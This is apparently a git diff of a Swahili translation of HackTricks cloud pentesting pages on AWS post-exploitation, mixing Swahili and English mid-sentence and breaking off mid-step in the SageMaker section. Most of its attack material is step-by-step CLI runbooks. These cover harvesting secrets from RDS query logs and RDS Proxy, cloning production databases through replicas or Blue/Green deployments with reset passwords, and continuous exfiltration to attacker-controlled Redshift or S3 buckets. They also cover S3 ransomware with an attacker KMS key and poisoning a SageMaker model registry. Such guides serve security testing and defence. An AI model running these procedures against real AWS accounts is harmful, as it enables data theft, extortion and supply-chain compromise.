 #   "ParameterName=long_query_time,ParameterValue=0,ApplyMethod=immediate"
 ```
-- PostgreSQL injini (zinahitaji kuanzishwa upya):
+- Injini za PostgreSQL (reboot required):
 ```bash
 aws rds modify-db-parameter-group \
 --db-parameter-group-name <PGNAME> \
@@ -220,7 +220,7 @@ aws rds modify-db-parameter-group \
 # Reboot if any parameter is pending-reboot
 aws rds reboot-db-instance --db-instance-identifier <DB>
 ```
-4) Acha workload iende (au generate queries). Statements zitaandikwa kwenye engine file logs
+4) Acha workload ikimbie (au tengeneza queries). Statements zitaandikwa kwenye engine file logs
 - MySQL: `general/mysql-general.log`
 - PostgreSQL: `postgresql.log`
 
@@ -235,18 +235,18 @@ aws rds download-db-log-file-portion \
 --starting-token 0 \
 --output text > dump.log
 ```
-6) Changanua nje ya mtandao kwa data nyeti
+6) Chunguza nje ya mtandao kwa data nyeti
 ```bash
 grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | sed 's/\(aws_access_key_id=\)[A-Z0-9]*/\1AKIA.../; s/\(secret=\).*/\1REDACTED/; s/\(Bearer \).*/\1REDACTED/' | head
 ```
-Mfano wa ushahidi (imefichwa):
+Mfano wa ushahidi (imehaririwa):
 ```text
 2025-10-06T..Z    13 Query  INSERT INTO t(note) VALUES ('user=alice password=Sup3rS3cret!')
 2025-10-06T..Z    13 Query  INSERT INTO t(note) VALUES ('authorization: Bearer REDACTED')
 2025-10-06T..Z    13 Query  INSERT INTO t(note) VALUES ('aws_access_key_id=AKIA... secret=REDACTED')
 ```
 Usafishaji
-- Rudisha vigezo kwa mipangilio ya chaguo-msingi na anzisha upya ikiwa inahitajika:
+- Rudisha vigezo kuwa chaguo-msingi na anzisha upya ikiwa inahitajika:
 ```bash
 # MySQL
 aws rds modify-db-parameter-group \
@@ -261,19 +261,19 @@ aws rds modify-db-parameter-group \
 "ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot"
 # Reboot if pending-reboot
 ```
-Athari: Upataji wa data baada ya Post-exploitation kwa kunasa maagizo yote ya SQL ya programu kupitia AWS APIs (hakuna DB creds), kwa uwezekano leaking secrets, JWTs, and PII.
+Athari: Post-exploitation kupata data kwa kukamata statements zote za SQL za application kupitia AWS APIs (hakuna DB creds), potentially leaking secrets, JWTs, na PII.
 
 ### `rds:CreateDBInstanceReadReplica`, `rds:ModifyDBInstance`
 
-Tumia RDS read replicas vibaya kupata out-of-band read access bila kugusa primary instance credentials. Mshambuliaji anaweza kuunda a read replica kutoka kwa production instance, kuweka upya master password ya replica (hii haibadilishi primary), na kwa hiari kuweka replica hadharani ili exfiltrate data.
+Tumia RDS read replicas vibaya ili kupata out-of-band read access bila kugusa primary instance credentials. An attacker anaweza ku-create read replica kutoka kwa production instance, reset master password ya replica (hii haitabadilishi primary), na kwa hiari expose replica publicly ili exfiltrate data.
 
-Ruhusa zinazohitajika (hali ya chini):
+Ruhusa zinazohitajika (chini kabisa):
 - `rds:DescribeDBInstances`
 - `rds:CreateDBInstanceReadReplica`
 - `rds:ModifyDBInstance`
-- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (kama unapofungua hadharani)
+- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (ikiwa utaifungua kwa umma)
 
-Athari: Ufikiaji wa kusoma tu wa data za production kupitia replica yenye credentials zinazodhibitiwa na mshambuliaji; uwezekano mdogo wa kugunduliwa kwani primary inabaki bila kuguswa na replication inaendelea.
+Athari: Read-only access kwa data za production kupitia replica yenye attacker-controlled credentials; uwezekano mdogo wa kugunduliwa kwa sababu primary inabaki bila kuguswa na replication inaendelea.
 ```bash
 # 1) Recon: find non-Aurora sources with backups enabled
 aws rds describe-db-instances \
@@ -305,12 +305,12 @@ REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier <REPL_ID>
 # aws rds promote-read-replica --db-instance-identifier <REPL_ID>
 ```
 Mfano wa ushahidi (MySQL):
-- Hali ya Replica DB: `available`, replication ya kusoma: `replicating`
-- Muunganisho uliofanikiwa kwa nenosiri jipya na `@@read_only=1` ukithibitisha ufikiaji wa replica ya kusoma tu.
+- Hali ya Replica DB: `available`, read replication: `replicating`
+- Uunganisho uliofanikiwa kwa nenosiri jipya na `@@read_only=1` ukithibitisha upatikanaji wa replica wa kusoma pekee.
 
 ### `rds:CreateBlueGreenDeployment`, `rds:ModifyDBInstance`
 
-Tumia vibaya RDS Blue/Green kuklonisha DB ya production hadi mazingira ya green yanayoriplicatewa kwa mfululizo na ya kusoma tu. Kisha weka upya nyaraka za master za green ili kupata data bila kugusa instance ya blue (prod). Hii ni ya kimya zaidi kuliko snapshot sharing na mara nyingi huvuka ufuatiliaji unaolenga chanzo pekee.
+Tumia RDS Blue/Green kunakili DB ya production ndani ya green environment inayorudishwa kwa kuendelea na ambayo ni read-only. Kisha weka upya credentials za master za green ili upate data bila kugusa blue (prod) instance. Hii ni ya kificho zaidi kuliko kushiriki snapshot na mara nyingi hupitisha ufuatiliaji unaolenga chanzo pekee.
 ```bash
 # 1) Recon – find eligible source (non‑Aurora MySQL/PostgreSQL in the same account)
 aws rds describe-db-instances \
@@ -357,22 +357,22 @@ aws rds delete-blue-green-deployment \
 --blue-green-deployment-identifier <BGD_ID> \
 --delete-target true
 ```
-Athari: Kusoma-tu lakini upatikanaji kamili wa data kwenye clone karibu-wa-wakati-halisi wa production bila kubadilisha instance ya production. Inafaa kwa uondoaji wa data kwa kificho na uchambuzi wa offline.
+Athari: Kusoma-tu lakini upatikanaji wa data kamili kwa clone ya uzalishaji karibu kwa wakati halisi bila kubadilisha instance ya uzalishaji. Inafaa kwa uondoaji wa data kwa njia fiche (stealthy) na uchambuzi wa nje ya mtandao.
 
 
 ### Out-of-band SQL via RDS Data API by enabling HTTP endpoint + resetting master password
 
-Kutumia vibaya Aurora ili kuwezesha RDS Data API HTTP endpoint kwenye cluster lengwa, kuweka upya master password hadi thamani unayodhibiti, na kuendesha SQL over HTTPS (hakuna VPC network path inahitajika). Inafanya kazi kwenye Aurora engines ambazo zinaunga mkono Data API/EnableHttpEndpoint (mfano, Aurora MySQL 8.0 provisioned; baadhi ya toleo za Aurora PostgreSQL/MySQL).
+Abuse Aurora to enable the RDS Data API HTTP endpoint on a target cluster, reset the master password to a value you control, and run SQL over HTTPS (no VPC network path required). Works on Aurora engines that support the Data API/EnableHttpEndpoint (e.g., Aurora MySQL 8.0 provisioned; some Aurora PostgreSQL/MySQL versions).
 
-Permissions (minimum):
+Ruhusa (za chini kabisa):
 - rds:DescribeDBClusters, rds:ModifyDBCluster (or rds:EnableHttpEndpoint)
 - secretsmanager:CreateSecret
 - rds-data:ExecuteStatement (and rds-data:BatchExecuteStatement if used)
 
-Athari: Bypass network segmentation and exfiltrate data via AWS APIs without direct VPC connectivity to the DB.
+Athari: Kupitia segmentation ya mtandao na ku-exfiltrate data kupitia AWS APIs bila muunganisho wa moja kwa moja wa VPC kwa DB.
 
 <details>
-<summary>CLI kamili (mfano wa Aurora MySQL)</summary>
+<summary>End-to-end CLI (mfano: Aurora MySQL)</summary>
 ```bash
 # 1) Identify target cluster ARN
 REGION=us-east-1
@@ -424,22 +424,22 @@ aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
 ```
 </details>
 
-Vidokezo:
-- If multi-statement SQL is rejected by rds-data, issue separate execute-statement calls.
-- For engines where modify-db-cluster --enable-http-endpoint has no effect, use rds enable-http-endpoint --resource-arn.
-- Ensure the engine/version actually supports the Data API; otherwise HttpEndpointEnabled will remain False.
+Maelezo:
+- Ikiwa multi-statement SQL itakataliwa na rds-data, tuma miito tofauti za execute-statement.
+- Kwa engines ambazo modify-db-cluster --enable-http-endpoint haina athari, tumia rds enable-http-endpoint --resource-arn.
+- Hakikisha engine/version kwa kweli inaunga mkono Data API; vinginevyo HttpEndpointEnabled itabaki False.
 
 
-### Harvest DB credentials via RDS Proxy auth secrets (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
+### Vuna DB credentials kupitia RDS Proxy siri za uthibitisho (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
 
-Tumia vibaya usanidi wa RDS Proxy kugundua Secrets Manager secret inayotumiwa kwa uthibitishaji wa backend, kisha soma secret kupata nywila za database. Katika mazingira mengi, haki pana za `secretsmanager:GetSecretValue` hutolewa, na kufanya hili kuwa pivot rahisi kupata nywila za DB. Ikiwa secret inatumia CMK, idhini za KMS zisizopangwa ipasavyo zinaweza pia kuruhusu `kms:Decrypt`.
+Tumia vibaya usanidi wa RDS Proxy ili kugundua siri ya Secrets Manager inayotumika kwa uthibitisho wa backend, kisha soma siri hiyo ili kupata database credentials. Mazingira mengi yanaruhusu kwa upana `secretsmanager:GetSecretValue`, na kufanya hili kuwa njia rahisi ya kupata DB creds. Kama siri inatumia CMK, ruhusa za KMS zilizo na mipangilio isiyofaa zinaweza pia kuruhusu `kms:Decrypt`.
 
-Ruhusa zinazohitajika (chini kabisa):
+Ruhusa zinazohitajika (kwa angalau):
 - `rds:DescribeDBProxies`
 - `secretsmanager:GetSecretValue` on the referenced SecretArn
-- Optional when the secret uses a CMK: `kms:Decrypt` on that key
+- Hiari endapo siri inatumia CMK: `kms:Decrypt` on that key
 
-Athari: Kufichuka mara moja kwa DB username/password iliyowekwa kwenye proxy; kuruhusu ufikiaji wa moja kwa moja wa DB au further lateral movement.
+Athari: Kufichuka mara moja kwa DB username/password zilizowekwa kwenye proxy; inaruhusu ufikiaji wa moja kwa moja wa DB au further lateral movement.
 
 Hatua
 ```bash
@@ -454,7 +454,7 @@ aws secretsmanager get-secret-value \
 --query SecretString --output text
 # Example output: {"username":"admin","password":"S3cr3t!"}
 ```
-Maabara (kiasi cha chini cha kuiga)
+Maabara (ya chini kabisa ili kuiga)
 ```bash
 REGION=us-east-1
 ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
@@ -480,15 +480,15 @@ aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aw
 aws iam delete-role --role-name rds-proxy-secret-role
 aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delete-without-recovery
 ```
-### Stealthy continuous exfiltration via Aurora zero‑ETL to Amazon Redshift (rds:CreateIntegration)
+### Uondoaji wa data unaoendelea wa kimfumo na wa siri kupitia Aurora zero‑ETL kwenda Amazon Redshift (rds:CreateIntegration)
 
-Tumia Aurora PostgreSQL zero‑ETL integration ili kuiga data ya uzalishaji kwa kuendelea ndani ya namespace ya Redshift Serverless unayodhibiti. Kwa resource policy ya Redshift yenye ruhusa pana inayomruhusu CreateInboundIntegration/AuthorizeInboundIntegration kwa ARN maalum ya Aurora cluster, mshambuliaji anaweza kuanzisha nakala ya data karibu kwa wakati‑halisi bila DB creds, snapshots au kufichuliwa kwa mtandao.
+Kutumia mbaya Aurora PostgreSQL zero‑ETL integration ili kuiga mara kwa mara data ya uzalishaji ndani ya namespace ya Redshift Serverless unayodhibiti. Kwa sera ya rasilimali ya Redshift yenye uvumilivu ambayo inaruhusu CreateInboundIntegration/AuthorizeInboundIntegration kwa ARN ya cluster maalum ya Aurora, mshambuliaji anaweza kuanzisha nakala ya data inayokaribia wakati‑halisi bila DB creds, snapshots au uwazi wa mtandao.
 
-Ruhusa zinazohitajika (ya chini kabisa):
+Ruhusa zinazohitajika (chini kabisa):
 - `rds:CreateIntegration`, `rds:DescribeIntegrations`, `rds:DeleteIntegration`
 - `redshift:PutResourcePolicy`, `redshift:DescribeInboundIntegrations`, `redshift:DescribeIntegrations`
-- `redshift-data:ExecuteStatement/GetStatementResult/ListDatabases` (to query)
-- `rds-data:ExecuteStatement` (optional; to seed data if needed)
+- `redshift-data:ExecuteStatement/GetStatementResult/ListDatabases` (kwa kuendesha maswali)
+- `rds-data:ExecuteStatement` (hiari; kuweka data za awali ikiwa inahitajika)
 
 Imethibitishwa kwenye: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.
 
@@ -540,7 +540,7 @@ aws redshift put-resource-policy --region $REGION --resource-arn "$RS_NS_ARN" --
 </details>
 
 <details>
-<summary>3) Unda Aurora PostgreSQL cluster (wezesha Data API na logical replication)</summary>
+<summary>3) Unda klasta ya Aurora PostgreSQL (uwezeshe Data API na logical replication)</summary>
 ```bash
 CLUSTER_ID=aurora-ztl
 aws rds create-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
@@ -571,7 +571,7 @@ SRC_ARN=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier
 </details>
 
 <details>
-<summary>4) Unda muunganisho wa zero‑ETL kutoka RDS</summary>
+<summary>4) Unda uunganishaji wa zero‑ETL kutoka RDS</summary>
 ```bash
 # Include all tables in the default 'postgres' database
 aws rds create-integration --region $REGION --source-arn "$SRC_ARN" \
@@ -583,7 +583,7 @@ aws redshift describe-inbound-integrations --region $REGION --target-arn "$RS_NS
 </details>
 
 <details>
-<summary>5) Materialize na kuuliza data zilizokopiwa katika Redshift</summary>
+<summary>5) Kufanya materialize na kuhoji data iliyorudiwa katika Redshift</summary>
 ```bash
 # Create a Redshift database from the inbound integration (use integration_id from SVV_INTEGRATION)
 aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \
@@ -596,12 +596,12 @@ aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --d
 ```
 </details>
 
-Ushahidi uliothibitishwa kwenye jaribio:
+Ushahidi ulioonekana katika jaribio:
 - redshift describe-inbound-integrations: Status ACTIVE for Integration arn:...377a462b-...
 - SVV_INTEGRATION ilionyesha integration_id 377a462b-c42c-4f08-937b-77fe75d98211 na state PendingDbConnectState kabla ya kuunda DB.
-- Baada ya CREATE DATABASE FROM INTEGRATION, kuorodhesha tables kulifunua schema ztl na table customers; kuchagua kutoka ztl.customers kilirudisha rekodi 2 (Alice, Bob).
+- Baada ya CREATE DATABASE FROM INTEGRATION, kuorodhesha tables kulifunua schema ztl na table customers; kuchagua kutoka ztl.customers kilirudisha mistari 2 (Alice, Bob).
 
-Athari: Exfiltration endelevu ya karibu‑muda‑halisi ya meza zilizochaguliwa za Aurora PostgreSQL kwenda Redshift Serverless zinazoendeshwa na mshambuliaji, bila kutumia maelezo ya kuingia ya database, chelezo, au ufikiaji wa mtandao kwa cluster chanzo.
+Athari: Exfiltration endelevu, karibu kwa wakati halisi, ya jedwali zilizochaguliwa za Aurora PostgreSQL kwenda Redshift Serverless zinadhibitiwa na mshambuliaji, bila kutumia database credentials, backups, au network access kwa source cluster.
 
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md

@@ -1,38 +0,0 @@
-# AWS - S3 Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## S3
-
-Kwa maelezo zaidi angalia:
-
-{{#ref}}
-../aws-services/aws-s3-athena-and-glacier-enum.md
-{{#endref}}
-
-### Taarifa Nyeti
-
-Wakati mwingine utaweza kupata taarifa nyeti zinazoweza kusomwa katika makundi. Kwa mfano, siri za hali ya terraform.
-
-### Pivoting
-
-Majukwaa tofauti yanaweza kutumia S3 kuhifadhi mali nyeti.\
-Kwa mfano, **airflow** inaweza kuwa inahifadhi **DAGs** **code** humo, au **kurasa za wavuti** zinaweza kutolewa moja kwa moja kutoka S3. Mshambuliaji mwenye ruhusa za kuandika anaweza **kubadilisha code** kutoka kwenye kundi ili **pivot** kwa majukwaa mengine, au **kuchukua akaunti** kwa kubadilisha faili za JS.
-
-### S3 Ransomware
-
-Katika hali hii, **mshambuliaji anaunda funguo ya KMS (Key Management Service) katika akaunti yake ya AWS** au akaunti nyingine iliyovunjwa. Kisha wanafanya **funguo hii ipatikane kwa mtu yeyote duniani**, ikiruhusu mtumiaji yeyote wa AWS, jukumu, au akaunti kuandika vitu kwa kutumia funguo hii. Hata hivyo, vitu haviwezi kufutwa.
-
-Mshambuliaji anabaini lengo **S3 bucket na kupata ufikiaji wa kiwango cha kuandika** kwa kutumia mbinu mbalimbali. Hii inaweza kuwa kutokana na usanidi mbaya wa kundi unaoonyesha hadharani au mshambuliaji kupata ufikiaji wa mazingira ya AWS yenyewe. Mshambuliaji kwa kawaida anawalenga makundi yanay contain taarifa nyeti kama vile taarifa zinazoweza kutambulika binafsi (PII), taarifa za afya zilizolindwa (PHI), kumbukumbu, nakala za akiba, na zaidi.
-
-Ili kubaini kama kundi linaweza kulengwa kwa ransomware, mshambuliaji anachunguza usanidi wake. Hii inajumuisha kuthibitisha kama **S3 Object Versioning** imewezeshwa na kama **kuondoa uthibitisho wa hatua nyingi (MFA delete) kumewashwa**. Ikiwa Object Versioning haijawezeshwa, mshambuliaji anaweza kuendelea. Ikiwa Object Versioning imewezeshwa lakini MFA delete haijawashwa, mshambuliaji anaweza **kuondoa Object Versioning**. Ikiwa zote Object Versioning na MFA delete zimewezeshwa, inakuwa vigumu zaidi kwa mshambuliaji kufanya ransomware kwenye kundi hilo maalum.
-
-Kwa kutumia AWS API, mshambuliaji **anabadilisha kila kitu katika kundi na nakala iliyofichwa kwa kutumia funguo zao za KMS**. Hii inafanikisha kuficha data katika kundi, na kuifanya isipatikane bila funguo.
-
-Ili kuongeza shinikizo zaidi, mshambuliaji anapanga kufuta funguo ya KMS iliyotumika katika shambulio. Hii inampa lengo dirisha la siku 7 ili kurejesha data zao kabla funguo hiyo haijafutwa na data kuwa kupotea milele.
-
-Hatimaye, mshambuliaji anaweza kupakia faili ya mwisho, kwa kawaida inayoitwa "ransom-note.txt," ambayo ina maelekezo kwa lengo jinsi ya kurejesha faili zao. Faili hii inapakiwa bila kufichwa, labda ili kuvutia umakini wa lengo na kuwajulisha kuhusu shambulio la ransomware.
-
-**Kwa maelezo zaidi** [**angalia utafiti wa asili**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md

@@ -0,0 +1,38 @@
+# AWS - S3 Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## S3
+
+For more information check:
+
+{{#ref}}
+../../aws-services/aws-s3-athena-and-glacier-enum.md
+{{#endref}}
+
+### Taarifa Nyeti
+
+Wakati mwingine utaweza kupata taarifa nyeti zinazoweza kusomwa ndani ya buckets. Kwa mfano, terraform state secrets.
+
+### Pivoting
+
+Different platforms could be using S3 to store sensitive assets.\
+For example, **airflow** could be storing **DAGs** **code** in there, or **web pages** could be directly served from S3. Mshambulizi mwenye ruhusa za kuandika anaweza **modify the code** kutoka kwa bucket ili **pivot** kwa majukwaa mengine, au **takeover accounts** kwa kuhariri JS files.
+
+### S3 Ransomware
+
+Katika senario hii, **mshambulizi creates a KMS (Key Management Service) key in their own AWS account** au akaunti nyingine iliyoathirika. Kisha wanafanya **key accessible to anyone in the world**, ikiruhusu mtumiaji wowote wa AWS, role, au akaunti kusimba objects kwa kutumia key hii. Hata hivyo, objects hizi haiwezi kufunguliwa.
+
+Mshambulizi anaelekeza lengo la **S3 bucket and gains write-level access** kwa kutumia mbinu mbalimbali. Hii inaweza kuwa kutokana na usanidi duni wa bucket unaoifanya ionekane kwa umma au mshambulizi kupata ufikiaji wa mazingira ya AWS yenyewe. Mshambulizi kwa kawaida analenga buckets zinazohifadhi taarifa nyeti kama personally identifiable information (PII), protected health information (PHI), logs, backups, na zaidi.
+
+Kuamua kama bucket inaweza kulengwa kwa ransomware, mshambulizi huangalia usanidi wake. Hii inajumuisha kuthibitisha kama **S3 Object Versioning** imewezeshwa na kama **multi-factor authentication delete (MFA delete)** imewezeshwa. Ikiwa Object Versioning haijawezeshwa, mshambulizi anaweza kuendelea. Ikiwa Object Versioning imewezeshwa lakini MFA delete imezimwa, mshambulizi anaweza **disable Object Versioning**. Ikiwa zote mbili, Object Versioning na MFA delete, zimewezeshwa, inakuwa ngumu zaidi kwa mshambulizi kufanya ransomware kwa bucket hiyo maalum.
+
+Using the AWS API, mshambulizi **replaces each object in the bucket with an encrypted copy using their KMS key**. Hii inafanya data ndani ya bucket isiweze kufikiwa bila key.
+
+Ili kuongeza shinikizo, mshambulizi anapanga kufuta KMS key iliyotumika katika shambulio. Hii inampa mhusika dirisha la siku 7 kurejesha data zao kabla key ifutwe na data kupotea kwa kudumu.
+
+Mwishowe, mshambulizi anaweza kupakia faili ya mwisho, kawaida inayoitwa "ransom-note.txt," ambayo ina maelekezo kwa mhusika jinsi ya kupata faili zao. Faili hii inapakiwa bila encryption, kwa kawaida ili kuvutia umakini wa mhusika na kumfahamisha kuhusu shambulio la ransomware.
+
+**For more info** [**check the original research**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md

@@ -0,0 +1,178 @@
+# AWS - SageMaker Post-Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## SageMaker endpoint data siphon via UpdateEndpoint DataCaptureConfig
+
+Tumia vibaya usimamizi wa endpoint wa SageMaker ili kuwezesha kunasa kikamilifu request/response kwenye bucket ya S3 inayodhibitiwa na mshambuliaji bila kugusa model au container. Inatumia rolling update yenye zero/low‑downtime na inahitaji tu ruhusa za usimamizi wa endpoint.
+
+### Mahitaji
+- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
+- S3: `s3:CreateBucket` (au tumia bucket iliyopo katika akaunti ileile)
+- Hiari (ikiwa unatumia SSE‑KMS): `kms:Encrypt` kwenye CMK iliyochaguliwa
+- Lengo: Endpoint ya InService ya real‑time iliyopo katika akaunti/eneo ileile
+
+### Hatua
+1) Tambua endpoint ya InService na ukusanye production variants za sasa
+```bash
+REGION=${REGION:-us-east-1}
+EP=$(aws sagemaker list-endpoints --region $REGION --query "Endpoints[?EndpointStatus=='InService']|[0].EndpointName" --output text)
+echo "Endpoint=$EP"
+CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
+echo "EndpointConfig=$CFG"
+aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CFG" --query ProductionVariants > /tmp/pv.json
+```
+2) Andaa mahali pa S3 la mshambuliaji kwa ajili ya kunasa
+```bash
+ACC=$(aws sts get-caller-identity --query Account --output text)
+BUCKET=ht-sm-capture-$ACC-$(date +%s)
+aws s3 mb s3://$BUCKET --region $REGION
+```
+3) Unda EndpointConfig mpya inayohifadhi variants zile zile lakini inawasha DataCapture kwa attacker bucket
+
+Note: Tumia explicit content types ambazo zinakidhi uthibitisho wa CLI.
+```bash
+NEWCFG=${CFG}-dc
+cat > /tmp/dc.json << JSON
+{
+"EnableCapture": true,
+"InitialSamplingPercentage": 100,
+"DestinationS3Uri": "s3://$BUCKET/capture",
+"CaptureOptions": [
+{"CaptureMode": "Input"},
+{"CaptureMode": "Output"}
+],
+"CaptureContentTypeHeader": {
+"JsonContentTypes": ["application/json"],
+"CsvContentTypes": ["text/csv"]
+}
+}
+JSON
+aws sagemaker create-endpoint-config \
+--region $REGION \
+--endpoint-config-name "$NEWCFG" \
+--production-variants file:///tmp/pv.json \
+--data-capture-config file:///tmp/dc.json
+```
+4) Tekeleza config mpya kwa rolling update (minimal/no downtime)
+```bash
+aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
+aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
+```
+5) Tengeneza angalau inference call moja (hiari ikiwa kuna live traffic)
+```bash
+echo '{"inputs":[1,2,3]}' > /tmp/payload.json
+aws sagemaker-runtime invoke-endpoint --region $REGION --endpoint-name "$EP" \
+--content-type application/json --accept application/json \
+--body fileb:///tmp/payload.json /tmp/out.bin || true
+```
+6) Thibitisha captures katika attacker S3
+```bash
+aws s3 ls s3://$BUCKET/capture/ --recursive --human-readable --summarize
+```
+### Athari
+- Kuondolewa kabisa kwa payloads za maombi na majibu za inference kwa wakati halisi (na metadata) kutoka kwa endpoint lengwa hadi S3 bucket inayodhibitiwa na mshambuliaji.
+- Hakuna mabadiliko kwenye model/container image na mabadiliko ni ya ngazi ya endpoint tu, ikiruhusu njia fiche ya wizi wa data yenye usumbufu mdogo wa operesheni.
+
+
+## SageMaker kuiba matokeo ya async inference kupitia UpdateEndpoint AsyncInferenceConfig
+
+Tumia vibaya usimamizi wa endpoint kurejesha matokeo ya asynchronous inference kwenye S3 bucket inayodhibitiwa na mshambuliaji kwa kukopa EndpointConfig ya sasa na kuweka AsyncInferenceConfig.OutputConfig S3OutputPath/S3FailurePath. Hii inatoa nje utabiri wa model (na yoyote transformed inputs zilizojumuishwa na container) bila kubadilisha model/container.
+
+### Mahitaji
+- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
+- S3: Uwezo wa kuandika kwenye S3 bucket inayodhibitiwa na mshambuliaji (kupitia model execution role au permissive bucket policy)
+- Lengo: Endpoint ya InService ambapo asynchronous invocations zina (au zitatumika)
+
+### Hatua
+1) Kusanya ProductionVariants za sasa kutoka kwa endpoint lengwa
+```bash
+REGION=${REGION:-us-east-1}
+EP=<target-endpoint-name>
+CUR_CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
+aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CUR_CFG" --query ProductionVariants > /tmp/pv.json
+```
+2) Unda attacker bucket (hakikisha model execution role inaweza PutObject kwenye hiyo)
+```bash
+ACC=$(aws sts get-caller-identity --query Account --output text)
+BUCKET=ht-sm-async-exfil-$ACC-$(date +%s)
+aws s3 mb s3://$BUCKET --region $REGION || true
+```
+3) Kloni EndpointConfig na hijack outputs za AsyncInference hadi kwenye attacker bucket
+```bash
+NEWCFG=${CUR_CFG}-async-exfil
+cat > /tmp/async_cfg.json << JSON
+{"OutputConfig": {"S3OutputPath": "s3://$BUCKET/async-out/", "S3FailurePath": "s3://$BUCKET/async-fail/"}}
+JSON
+aws sagemaker create-endpoint-config --region $REGION   --endpoint-config-name "$NEWCFG"   --production-variants file:///tmp/pv.json   --async-inference-config file:///tmp/async_cfg.json
+aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
+aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
+```
+4) Amsha async invocation na thibitisha vitu vinafika kwenye S3 ya mshambuliaji
+```bash
+aws s3 cp /etc/hosts s3://$BUCKET/inp.bin
+aws sagemaker-runtime invoke-endpoint-async --region $REGION --endpoint-name "$EP" --input-location s3://$BUCKET/inp.bin >/tmp/async.json || true
+sleep 30
+aws s3 ls s3://$BUCKET/async-out/ --recursive || true
+aws s3 ls s3://$BUCKET/async-fail/ --recursive || true
+```
+### Impact
+- Huelekeza matokeo ya inferensi zisizo za papo hapo (na miili ya makosa) kwenda S3 inayodhibitiwa na mshambuliaji, ikiruhusu uondoaji wa siri wa utabiri na kwa uwezekano wa kuchapua au kuchakata ingizo zenye taarifa nyeti kabla/baada ya usindikaji zinazozalishwa na kontena, bila kubadilisha msimbo wa model au picha ya kontena na kwa downtime ndogo au bila downtime.
+
+## SageMaker Model Registry supply-chain injection via CreateModelPackage(Approved)
+
+Ikiwa mshambuliaji anaweza CreateModelPackage kwenye SageMaker Model Package Group lengwa, anaweza kusajili toleo jipya la model linaloelekeza kwenye container image inayodhibitiwa na mshambuliaji na mara moja kuifanya Approved. Mifumo mingi ya CI/CD hupeleka moja kwa moja toleo za model zilizokuwa Approved kwenda endpoints au training jobs, na kusababisha utekelezaji wa msimbo wa mshambuliaji chini ya execution roles za huduma. Mwonekano wa cross-account unaweza kuongezwa kwa sera ya rasilimali ya ModelPackageGroup inayoruhusu.
+
+### Requirements
+- IAM (kima cha chini ili kuingiza sumu kwenye kikundi kilicho tayari): `sagemaker:CreateModelPackage` on the target ModelPackageGroup
+- Hiari (kwa kuunda group ikiwa hakipo): `sagemaker:CreateModelPackageGroup`
+- S3: Upatikanaji wa kusoma kwa referenced ModelDataUrl (au kuwa mwenyeji wa artifacts zinazodhibitiwa na mshambuliaji)
+- Target: Model Package Group ambayo automation ya downstream inaangalia kwa toleo zilizotengwa/Approved
+
+### Steps
+1) Weka region na unda/pata Model Package Group lengwa
+```bash
+REGION=${REGION:-us-east-1}
+MPG=victim-group-$(date +%s)
+aws sagemaker create-model-package-group --region $REGION --model-package-group-name $MPG --model-package-group-description "test group"
+```
+2) Andaa data bandia ya modeli kwenye S3
+```bash
+ACC=$(aws sts get-caller-identity --query Account --output text)
+BUCKET=ht-sm-mpkg-$ACC-$(date +%s)
+aws s3 mb s3://$BUCKET --region $REGION
+head -c 1024 </dev/urandom > /tmp/model.tar.gz
+aws s3 cp /tmp/model.tar.gz s3://$BUCKET/model/model.tar.gz --region $REGION
+```
+3) Sajili toleo la kifurushi cha modeli lenye nia mbaya (hapa halina madhara) la Approved linalorejelea image ya umma ya AWS DLC
+```bash
+IMG="683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3"
+cat > /tmp/inf.json << JSON
+{
+"Containers": [
+{
+"Image": "$IMG",
+"ModelDataUrl": "s3://$BUCKET/model/model.tar.gz"
+}
+],
+"SupportedContentTypes": ["text/csv"],
+"SupportedResponseMIMETypes": ["text/csv"]
+}
+JSON
